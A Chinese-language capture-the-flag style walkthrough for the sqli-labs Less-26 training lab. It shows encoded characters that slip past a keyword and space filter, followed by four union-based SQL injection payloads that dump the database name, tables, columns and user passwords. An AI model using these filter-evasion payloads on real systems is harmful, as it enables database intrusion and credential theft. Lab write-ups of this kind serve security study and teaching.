本關(guān)過濾 空格 or and /* # -- / 等符號(hào)
可用過濾符如下
| %09 | TAB鍵（水平） |
|---|---|
| %0a | 新建一行 |
| %0c | 新的一頁(yè) |
| %0d | return功能 |
| %0b | TAB鍵（垂直） |
| %a0 | 空格 |
使用聯(lián)合查詢，具體原理及解題方法可見專欄：Sqli-Labs靶場(chǎng)專欄
查庫(kù)名：
id=0'%0bunion%0bselect%0b1,database(),3||'1'='1
回顯如下：
![[網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析,# Sqli-Labs靶場(chǎng)攻防實(shí)戰(zhàn),web安全,數(shù)據(jù)庫(kù),sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-1.png)
查表名：
id=0'%0bunion%0bselect%0b2,group_concat(table_name),4%0bfrom%0binfoorrmation_schema.tables%0bwhere%0btable_schema=database()%26%26'1'='1
回顯如下：
![[網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析,# Sqli-Labs靶場(chǎng)攻防實(shí)戰(zhàn),web安全,數(shù)據(jù)庫(kù),sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-2.png)
查列名：
id=0'%0bunion%0bselect%0b1,group_concat(column_name),3%0bfrom%0binfoorrmation_schema.columns%0bwhere%0btable_name='users'%0b%26%26%0btable_schema=database()%26%26'1'='1
回顯如下：
![[網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析,# Sqli-Labs靶場(chǎng)攻防實(shí)戰(zhàn),web安全,數(shù)據(jù)庫(kù),sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-3.png)
查數(shù)據(jù)：
id=0'%0bunion%0bselect%0b2,(select%0bgroup_concat(concat_ws('-',id,username,passwoorrd))%0bfrom%0busers),4%0b||%0b'1'='1
回顯如下：文章來源：http://www.zghlxwxcb.cn/news/detail-719287.html
![[網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析,# Sqli-Labs靶場(chǎng)攻防實(shí)戰(zhàn),web安全,數(shù)據(jù)庫(kù),sql,sqlilabs](https://imgs.yssmx.com/Uploads/2023/10/719287-4.png)
文章來源地址http://www.zghlxwxcb.cn/news/detail-719287.html
到了這里，關(guān)于[網(wǎng)絡(luò)安全]sqli-labs Less-26 解題詳析的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
![[網(wǎng)絡(luò)安全]upload-labs Pass-17 解題詳析](https://imgs.yssmx.com/Uploads/2024/02/735067-1.png)
